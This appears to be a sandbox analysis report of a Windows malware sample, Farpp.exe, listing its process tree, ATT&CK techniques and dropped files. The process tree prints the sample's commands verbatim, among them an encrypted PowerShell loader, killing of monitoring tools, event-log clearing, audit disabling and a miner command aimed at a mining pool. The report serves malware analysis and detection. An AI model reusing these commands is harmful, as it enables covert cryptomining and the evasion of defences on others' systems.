                                                                                        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\Downloads\Farpp\Farpp.exe" /VERYSILENT /AUTOSILENT /HASHDONE /PASSWORD=DJKDyPsdKs6A /SUPPRESSMSGBOXES /SP- /NORESTART /NOCLOSEAPPLICATIONS /NOFORCECLOSEAPPLICATIONS
                                                                                        3⤵
                                                                                        • Executes a command shell one-liner
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:784
                                                                                        • C:\Users\Admin\Downloads\Farpp\Farpp.exe
                                                                                          "C:\Users\Admin\Downloads\Farpp\Farpp.exe" /VERYSILENT /AUTOSILENT /HASHDONE /PASSWORD=DJKDyPsdKs6A /SUPPRESSMSGBOXES /SP- /NORESTART /NOCLOSEAPPLICATIONS /NOFORCECLOSEAPPLICATIONS
                                                                                          4⤵
                                                                                          • Loads dropped DLL
                                                                                          • Drops file in Program Files directory
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3260
                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                            "C:\Windows\system32\taskkill.exe" /F /T /IM Procmon.exe /IM Procmon64.exe /IM SystemInformer.exe /IM ProcessHacker.exe /IM Wireshark.exe /IM procexp.exe /IM procexp64.exe
                                                                                            5⤵
                                                                                            • Kills process with taskkill
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1816
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile "[PowerShell]::Create().AddScript([Text.Encoding]::UTF8.GetString((($a=[System.Security.Cryptography.Aes]::Create()).CreateDecryptor([Security.Cryptography.Rfc2898DeriveBytes]::new('New-Object',($($fs=[System.IO.File]::Open('C:\Users\Admin\Downloads\Farpp\Farpp.dat',3,1,3);$b=New-Object byte[] $fs.Length;$null=$fs.Read($b,0,$fs.Length);$fs.Close();$b))[0..15],100000,[Security.Cryptography.HashAlgorithmName]::SHA256).GetBytes(32),$b[16..31])).TransformFinalBlock($b,32,$b.Length-32))).Invoke()"
                                                                                            5⤵
                                                                                            • Modifies Windows Defender notification settings
                                                                                            • UAC bypass
                                                                                            • Badlisted process makes network request
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Drops file in System32 directory
                                                                                            • Drops file in Windows directory
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1204
                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xlttf5rd\xlttf5rd.cmdline"
                                                                                              6⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4980
                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC39B.tmp" "c:\Users\Admin\AppData\Local\Temp\xlttf5rd\CSCAD20D37D6F948839C3570451740FE5B.TMP"
                                                                                                7⤵
                                                                                                  PID:5116
                                                                                              • C:\Windows\system32\auditpol.exe
                                                                                                "C:\Windows\system32\auditpol.exe" /set "/subcategory:Process Creation" /success:disable /failure:disable
                                                                                                6⤵
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4476
                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                6⤵
                                                                                                  PID:3164
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TaskScheduler/Operational
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:5824
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bits-Client/Operational
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:5848
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl "Windows PowerShell"
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:5872
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Defender/Operational"
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:5896
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PowerShell/Admin
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:5920
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DotNETRuntime/Admin
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  • System Time Discovery
                                                                                                  PID:5944
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-DotNETRuntime/Admin /enabled:false
                                                                                                  6⤵
                                                                                                  • System Time Discovery
                                                                                                  PID:5972
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DotNETRuntimeRundown/Admin
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  • System Time Discovery
                                                                                                  PID:5996
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-DotNETRuntimeRundown/Admin /enabled:false
                                                                                                  6⤵
                                                                                                  • System Time Discovery
                                                                                                  PID:6020
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  "C:\Windows\system32\wevtutil.exe" cl Security
                                                                                                  6⤵
                                                                                                  • Clears Windows event logs
                                                                                                  PID:6044
                                                                                              • C:\Windows\explorer.exe
                                                                                                "C:\Windows\explorer.exe" "C:\Program Files (x86)\Farpp\Farpp.exe"
                                                                                                5⤵
                                                                                                  PID:5488
                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
                                                                                            2⤵
                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                            • Drops file in Drivers directory
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:5436
                                                                                          • C:\Windows\explorer.exe
                                                                                            C:\Windows\explorer.exe -a rx/0 -o eu.hashvault.pro:443 --keepalive -u 4Anc5WzYkR8CUvb58yCM2RJ2x3wme658VGncCTQhijsaZgN7YGR1kYXXp77eLcbmbA3KpxGoMxiW3LVJprTgjSS988xVg26 -p x --tls --cpu-max-threads-hint=40 --donate-level=0
                                                                                            2⤵
                                                                                              PID:5608
                                                                                            • C:\Windows\explorer.exe
                                                                                              C:\Windows\explorer.exe -a rx/0 -o eu.hashvault.pro:443 --keepalive -u 4Anc5WzYkR8CUvb58yCM2RJ2x3wme658VGncCTQhijsaZgN7YGR1kYXXp77eLcbmbA3KpxGoMxiW3LVJprTgjSS988xVg26 -p x --tls --cpu-max-threads-hint=40 --donate-level=0
                                                                                              2⤵
                                                                                                PID:6004
                                                                                              • C:\Windows\system32\taskmgr.exe
                                                                                                "C:\Windows\system32\taskmgr.exe" /7
                                                                                                2⤵
                                                                                                • Checks SCSI registry key(s)
                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                PID:3452
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                              1⤵
                                                                                                PID:1336
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                                                1⤵
                                                                                                  PID:1464
                                                                                                • C:\Windows\System32\rundll32.exe
                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                  1⤵
                                                                                                    PID:2584
                                                                                                  • C:\Windows\System32\conhost.exe
                                                                                                    C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\exqbnpazrpbp').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                    1⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:4132
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\exqbnpazrpbp').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                      2⤵
                                                                                                      • Modifies Windows Defender notification settings
                                                                                                      • UAC bypass
                                                                                                      • Badlisted process makes network request
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Drops desktop.ini file(s)
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:1500
                                                                                                      • C:\Windows\system32\auditpol.exe
                                                                                                        "C:\Windows\system32\auditpol.exe" /set "/subcategory:Process Creation" /success:disable /failure:disable
                                                                                                        3⤵
                                                                                                          PID:348
                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w1egxsyl\w1egxsyl.cmdline"
                                                                                                          3⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:100
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0F6.tmp" "c:\Users\Admin\AppData\Local\Temp\w1egxsyl\CSC213DC5D8E6464182AE389751A7CCA8E1.TMP"
                                                                                                            4⤵
                                                                                                              PID:3620
                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                            "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-DotNETRuntime/Admin /enabled:false
                                                                                                            3⤵
                                                                                                            • System Time Discovery
                                                                                                            PID:3256
                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                            "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-DotNETRuntimeRundown/Admin /enabled:false
                                                                                                            3⤵
                                                                                                            • System Time Discovery
                                                                                                            PID:5048
                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                            3⤵
                                                                                                              PID:1800
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI "Remove-ItemProperty -LiteralPath 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Speech\gkurbzpqf' -Name SD -Force -EA 0; Unregister-ScheduledTask -TaskName 'qxjsynhip' -TaskPath '\Microsoft\Windows\CertificateServicesClient\' -Confirm:$false -EA 0"
                                                                                                          1⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:3844
                                                                                                        • C:\Windows\System32\conhost.exe
                                                                                                          C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\nmtglhgwhcsf').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                          1⤵
                                                                                                            PID:4048
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\nmtglhgwhcsf').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                              2⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:3784
                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                            C:\Windows\System32\conhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\hcxmlbbonuso').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                            1⤵
                                                                                                              PID:2276
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass "Set-PSReadLineOption -HistorySaveStyle SaveNothing; Add-Type -AssemblyName System.Security; [PowerShell]::Create().AddScript([Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([byte[]][Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile\Tasks\hcxmlbbonuso').GetValue('Scheduling Category'),$null,[Security.Cryptography.DataProtectionScope]::LocalMachine))).Invoke()"
                                                                                                                2⤵
                                                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:4960
                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                  "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
                                                                                                                  3⤵
                                                                                                                  • Power Settings
                                                                                                                  PID:5072
                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                  "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
                                                                                                                  3⤵
                                                                                                                  • Power Settings
                                                                                                                  PID:5392
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI "Remove-ItemProperty -LiteralPath 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Maps\gkurbzpqf' -Name SD -Force -EA 0; Unregister-ScheduledTask -TaskName 'lgdycsqan' -TaskPath '\Microsoft\Windows\CertificateServicesClient\' -Confirm:$false -EA 0"
                                                                                                              1⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:5272
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI "Remove-ItemProperty -LiteralPath 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\MUI\gkurbzpqf' -Name SD -Force -EA 0; Unregister-ScheduledTask -TaskName 'ayvbiujrf' -TaskPath '\Microsoft\Windows\CertificateServicesClient\' -Confirm:$false -EA 0"
                                                                                                              1⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:5292
                                                                                                            • C:\Windows\explorer.exe
                                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                              1⤵
                                                                                                                PID:5548
                                                                                                                • C:\Program Files (x86)\Farpp\Farpp.exe
                                                                                                                  "C:\Program Files (x86)\Farpp\Farpp.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:3248
                                                                                                                  • C:\Program Files (x86)\Farpp\Farpp.exe
                                                                                                                    "C:\Program Files (x86)\Farpp\Farpp.exe"
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:6076
                                                                                                              • C:\Windows\system32\drivers\WinRing0.sys
                                                                                                                C:\Windows\system32\drivers\WinRing0.sys
                                                                                                                1⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:3120
                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                1⤵
                                                                                                                • Modifies registry class
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:5172
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault2451ee83h2c0bh4bb2h9cdehc640f0a83502
                                                                                                                1⤵
                                                                                                                  PID:5888
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault2451ee83h2c0bh4bb2h9cdehc640f0a83502 --edge-skip-compat-layer-relaunch
                                                                                                                    2⤵
                                                                                                                      PID:5932
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc
                                                                                                                    1⤵
                                                                                                                      PID:5924
                                                                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                      1⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:5780
                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                      C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
                                                                                                                      1⤵
                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                      PID:3424
                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                      1⤵
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:5584
                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                      1⤵
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:688
                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                      1⤵
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:4008
                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                      C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
                                                                                                                      1⤵
                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                      PID:4352
                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                        "C:\Windows\system32\mmc.exe" C:\Windows\system32\devmgmt.msc
                                                                                                                        2⤵
                                                                                                                        • Drops file in System32 directory
                                                                                                                        • Drops file in Windows directory
                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5336
                                                                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                      1⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:6072
                                                                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                      1⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:5908
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                      1⤵
                                                                                                                        PID:3432

                                                                                                                      Network

                                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                                            Reconnaissance

                                                                                                                            Resource Development

                                                                                                                            Initial Access

                                                                                                                            Execution

                                                                                                                            Command and Scripting Interpreter

                                                                                                                            2
                                                                                                                            T1059

                                                                                                                            PowerShell

                                                                                                                            1
                                                                                                                            T1059.001

                                                                                                                            Windows Command Shell

                                                                                                                            1
                                                                                                                            T1059.003

                                                                                                                            Persistence

                                                                                                                            Create or Modify System Process

                                                                                                                            1
                                                                                                                            T1543

                                                                                                                            Windows Service

                                                                                                                            1
                                                                                                                            T1543.003

                                                                                                                            Power Settings

                                                                                                                            1
                                                                                                                            T1653

                                                                                                                            Privilege Escalation

                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                            1
                                                                                                                            T1548

                                                                                                                            Bypass User Account Control

                                                                                                                            1
                                                                                                                            T1548.002

                                                                                                                            Create or Modify System Process

                                                                                                                            1
                                                                                                                            T1543

                                                                                                                            Windows Service

                                                                                                                            1
                                                                                                                            T1543.003

                                                                                                                            Defense Evasion

                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                            1
                                                                                                                            T1548

                                                                                                                            Bypass User Account Control

                                                                                                                            1
                                                                                                                            T1548.002

                                                                                                                            Impair Defenses

                                                                                                                            2
                                                                                                                            T1562

                                                                                                                            Disable or Modify Tools

                                                                                                                            2
                                                                                                                            T1562.001

                                                                                                                            Indicator Removal

                                                                                                                            1
                                                                                                                            T1070

                                                                                                                            Clear Windows Event Logs

                                                                                                                            1
                                                                                                                            T1070.001

                                                                                                                            Modify Registry

                                                                                                                            4
                                                                                                                            T1112

                                                                                                                            Credential Access

                                                                                                                            Discovery

                                                                                                                            Browser Information Discovery

                                                                                                                            1
                                                                                                                            T1217

                                                                                                                            Peripheral Device Discovery

                                                                                                                            1
                                                                                                                            T1120

                                                                                                                            Query Registry

                                                                                                                            3
                                                                                                                            T1012

                                                                                                                            System Information Discovery

                                                                                                                            3
                                                                                                                            T1082

                                                                                                                            System Location Discovery

                                                                                                                            1
                                                                                                                            T1614

                                                                                                                            System Language Discovery

                                                                                                                            1
                                                                                                                            T1614.001

                                                                                                                            System Time Discovery

                                                                                                                            1
                                                                                                                            T1124

                                                                                                                            Lateral Movement

                                                                                                                            Collection

                                                                                                                            Command and Control

                                                                                                                            Exfiltration

                                                                                                                            Impact

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            Farpp.exe
                                                                                                                            • Path C:\Program Files (x86)\Farpp\Farpp.exe
                                                                                                                            • Size 20.6MB
                                                                                                                            • SHA256 ab121ad655bf22b6341b1544267662245c5b83e86a2aa9c1870069c190b4bb50
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                            Submit Download

                                                                                                                            powershell.exe.log
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                            • Size 3KB
                                                                                                                            • SHA256 6d78e8561ae21cf772ce697d2c6a006a5ae5f76f62c331ab1fa66643eed1b38a
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            settings.dat
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                            • Size 280B
                                                                                                                            • SHA256 a62a1faeaaa56a5f5375b4d4921e6b263c0bc10a5ecc1f991894c66c32a88aef
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            settings.dat
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                            • Size 280B
                                                                                                                            • SHA256 24c133ed61416156a3d0b4fa00bfca479eb7ecb5184955e998fbedcca605f8b1
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            settings.dat
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                            • Size 280B
                                                                                                                            • SHA256 e099729cf62c15ff2a37edc92d9582556586c7c53329f62bad2291dc8b129d16
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            26e4b7ca-1b11-4369-98bb-7303fa16a36d.tmp
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\26e4b7ca-1b11-4369-98bb-7303fa16a36d.tmp
                                                                                                                            • Size 414B
                                                                                                                            • SHA256 33319c972838146a6543462df84e45eb1dbf9ee4d256aa675207a30ac6b1bb38
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            LOG.old
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                            • Size 331B
                                                                                                                            • SHA256 ea292aca984fbc791ff73f886928b5980439fc6dce2d67179a8c643399f062fa
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            LOG.old
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                            • Size 331B
                                                                                                                            • SHA256 158023562385fbcc208f1f83ccc023de139971a28099b5274adcbeb33a37b77a
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

